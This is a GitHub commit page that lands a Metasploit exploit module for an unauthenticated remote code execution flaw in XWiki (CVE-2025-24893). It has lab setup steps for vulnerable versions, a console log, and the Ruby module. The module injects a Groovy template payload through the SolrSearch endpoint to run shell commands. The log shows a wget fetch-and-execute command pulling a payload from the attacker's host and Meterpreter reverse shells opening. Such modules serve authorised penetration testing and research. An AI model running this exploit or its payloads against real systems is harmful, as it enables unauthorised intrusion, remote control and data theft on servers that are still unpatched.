Skip to content

Commit 9283562

Browse files
authored
Land #20493, adds XWiki unauthenticated exploit module (CVE-2025-24893)
Add XWiki Unauthenticated RCE (CVE-2025-24893)
2 parents 0e64aef + 071a4a3 commit 9283562

File tree

2 files changed

+265
-0
lines changed

2 files changed

+265
-0
lines changed
Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
## Vulnerable Application
2+
3+
This module exploits a template injection vulnerability in the the XWiki Platform.
4+
XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine.
5+
The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input.
6+
7+
This vulnerability affects XWiki Platform versions >= 5.3‑milestone‑2 and < 15.10.11, and versions >= 16.0.0‑rc‑1 and < 16.4.1.
8+
Successful exploitation may result in the remote code execution under the privileges of the web server, potentially exposing sensitive data or disrupting survey operations.
9+
10+
An attacker can execute arbitrary system commands in the context of the user running the web server.
11+
12+
## Testing
13+
14+
### Setup a Linux Server to Host the XWiki
15+
16+
To set up a test environment:
17+
18+
1. Download and Install Ubuntu 18.04.6 LTS
19+
20+
Download the ISO from the official Ubuntu archive:
21+
https://releases.ubuntu.com/18.04/
22+
23+
2. Install OpenJDK 17
24+
25+
```
26+
wget https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.9%2B9/OpenJDK17U-jdk_x64_linux_hotspot_17.0.9_9.tar.gz
27+
sudo mkdir -p /opt/java
28+
sudo tar -xzf OpenJDK17U-jdk_x64_linux_hotspot_17.0.9_9.tar.gz -C /opt/java
29+
export JAVA_HOME=/opt/java/jdk-17.0.9+9
30+
export PATH=$JAVA_HOME/bin:$PATH
31+
```
32+
33+
3. Download and Unpack Vulnerable XWiki
34+
35+
```
36+
wget https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip
37+
```
38+
39+
```
40+
unzip xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip
41+
```
42+
43+
4. Run XWiki
44+
45+
Go to the directory where you've unpack archive and run `start_xwiki.sh`
46+
47+
### Setup a Windows Server to Host XWiki
48+
49+
1. Download and Install Windows
50+
51+
Download Windows 10 ISO from the official Microsoft site:
52+
https://www.microsoft.com/en-us/software-download/windows10
53+
54+
Follow standard installation steps in your hypervisor (e.g., VirtualBox, VMware, etc.).
55+
56+
2. Install OpenJDK 17
57+
58+
Download `.msi` file from this page
59+
60+
```
61+
https://learn.microsoft.com/en-us/java/openjdk/download#openjdk-17
62+
```
63+
64+
and install
65+
66+
3. Download and Unpack Vulnerable XWiki
67+
68+
```
69+
https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip
70+
```
71+
72+
Open with 7-zip or another archiver and unpack
73+
74+
4. Run XWiki
75+
76+
Go to the directory where you've unpack archive and run `start_xwiki.bat`
77+
78+
## Scenario
79+
80+
```
81+
msf6 > use multi/http/xwiki_unauth_rce_cve_2025_24893
82+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
83+
msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > set RHOSTS 192.168.19.136
84+
RHOSTS => 192.168.19.136
85+
msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > set RPORT 8080
86+
RPORT => 8080
87+
msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > run verbose=true
88+
89+
[*] Command to run on remote host: wget -qO ./oXsSiyiPG http://192.168.19.130:8080/TZr1rd35vcaOY2R1ivAgxA; chmod +x ./oXsSiyiPG; ./oXsSiyiPG &
90+
[*] Fetch handler listening on 192.168.19.130:8080
91+
[*] HTTP server started
92+
[*] Adding resource /TZr1rd35vcaOY2R1ivAgxA
93+
[*] Started reverse TCP handler on 192.168.19.130:4444
94+
[*] Running automatic check ("set AutoCheck false" to disable)
95+
[*] Extracting version...
96+
[*] Extracted version: 15.10.5
97+
[+] The target appears to be vulnerable.
98+
[*] Building command for target...
99+
[*] Uploading malicious payload...
100+
[*] Client 192.168.19.136 requested /TZr1rd35vcaOY2R1ivAgxA
101+
[*] Sending payload to 192.168.19.136 (Wget/1.19.4 (linux-gnu))
102+
[*] Client 192.168.19.136 requested /TZr1rd35vcaOY2R1ivAgxA
103+
[*] Sending payload to 192.168.19.136 (Wget/1.19.4 (linux-gnu))
104+
[*] Transmitting intermediate stager...(126 bytes)
105+
[*] Sending stage (3045380 bytes) to 192.168.19.136
106+
[*] Transmitting intermediate stager...(126 bytes)
107+
[*] Sending stage (3045380 bytes) to 192.168.19.136
108+
[-] Failed to load client portion of stdapi.
109+
[*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.136:36512) at 2025-08-23 23:42:12 -0400
110+
111+
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.136:36510) at 2025-08-23 23:42:12 -0400
112+
meterpreter > sysinfo
113+
Computer : 192.168.19.136
114+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
115+
Architecture : x64
116+
BuildTuple : x86_64-linux-musl
117+
Meterpreter : x64/linux
118+
meterpreter >
119+
```
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Remote Code Execution Vulnerability in XWiki Platform (CVE-2025-24893)',
17+
'Description' => %q{
18+
This module exploits a template injection vulnerability in the the XWiki Platform.
19+
XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine.
20+
The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input.
21+
22+
This vulnerability affects XWiki Platform versions >= 5.3-milestone-2 and < 15.10.11, and versions >= 16.0.0-rc-1 and < 16.4.1.
23+
Successful exploitation may result in the remote code execution under the privileges
24+
of the web server, potentially exposing sensitive data or disrupting survey operations.
25+
26+
An attacker can execute arbitrary system commands in the context of the user running the web server.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'Maksim Rogov', # Metasploit Module
31+
'John Kwak' # Vulnerability Discovery
32+
],
33+
'References' => [
34+
['CVE', '2025-24893'],
35+
['URL', 'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j']
36+
],
37+
'Platform' => ['unix', 'linux', 'win'],
38+
'Arch' => [ARCH_CMD],
39+
'Targets' => [
40+
[
41+
'Unix Command',
42+
{
43+
'Platform' => ['unix', 'linux'],
44+
'Arch' => ARCH_CMD,
45+
'Type' => :unix_cmd,
46+
'DefaultOptions' => {
47+
# On Debian 9 curl is not installed by default
48+
'FETCH_COMMAND' => 'WGET'
49+
}
50+
# Tested with cmd/unix/reverse_bash
51+
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52+
}
53+
],
54+
[
55+
'Windows Command',
56+
{
57+
'Platform' => ['win'],
58+
'Arch' => ARCH_CMD,
59+
'Type' => :win_cmd
60+
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
61+
}
62+
],
63+
],
64+
'Payload' => {
65+
'BadChars' => '\\'
66+
},
67+
'DefaultTarget' => 0,
68+
'DisclosureDate' => '2025-02-20',
69+
'Notes' => {
70+
'Stability' => [CRASH_SAFE],
71+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
72+
'Reliability' => [REPEATABLE_SESSION]
73+
}
74+
)
75+
)
76+
77+
register_options(
78+
[
79+
OptString.new('TARGETURI', [true, 'Path to XWiki', '/']),
80+
]
81+
)
82+
end
83+
84+
def check
85+
print_status('Extracting version...')
86+
87+
res = send_request_cgi(
88+
'uri' => normalize_uri(target_uri.path, '/xwiki/bin/view/Main/'),
89+
'method' => 'GET'
90+
)
91+
return CheckCode::Unknown('No response from target') unless res&.code == 200
92+
93+
version_div = res.get_html_document.at('div[id="xwikiplatformversion"]')
94+
return CheckCode::Safe('Possibly not XWiki or incorrect path (version tag not found)') unless version_div
95+
96+
version_match = version_div.text.match(/XWiki.*?(\d+\.\d+\.\d+)/)
97+
unless version_match
98+
print_error("#{peer} - Unable to extract version number")
99+
return CheckCode::Detected('XWiki detected, but version number missing or unrecognized')
100+
end
101+
102+
version = Rex::Version.new(Regexp.last_match(1).to_s)
103+
print_status("Extracted version: #{version}")
104+
105+
if version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('15.10.10')) ||
106+
version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.4.0'))
107+
return CheckCode::Appears("Detected version #{version}, which is vulnerable")
108+
end
109+
110+
return CheckCode::Safe("Version #{version} appears safe")
111+
end
112+
113+
def build_cmd
114+
print_status('Building command for target...')
115+
116+
if target['Type'] == :unix_cmd
117+
cmd_array = "'sh', '-c', '#{payload.encoded}'"
118+
else
119+
cmd_array = "'cmd.exe', '/b', '/q', '/c', '#{payload.encoded}'"
120+
end
121+
122+
print_good('Command successfully built for target')
123+
124+
return "{{async async=false}}{{groovy}}[#{cmd_array}].execute().text{{/groovy}}{{/async}}"
125+
end
126+
127+
def send_payload(cmd)
128+
print_status('Uploading payload...')
129+
130+
vars_get = {
131+
'media' => 'rss',
132+
'text' => cmd
133+
}
134+
135+
send_request_cgi({
136+
'uri' => normalize_uri(target_uri.path, '/xwiki/bin/get/Main/SolrSearch'),
137+
'method' => 'GET',
138+
'vars_get' => vars_get
139+
})
140+
end
141+
142+
def exploit
143+
cmd = build_cmd
144+
send_payload(cmd)
145+
end
146+
end

0 commit comments

Comments
 (0)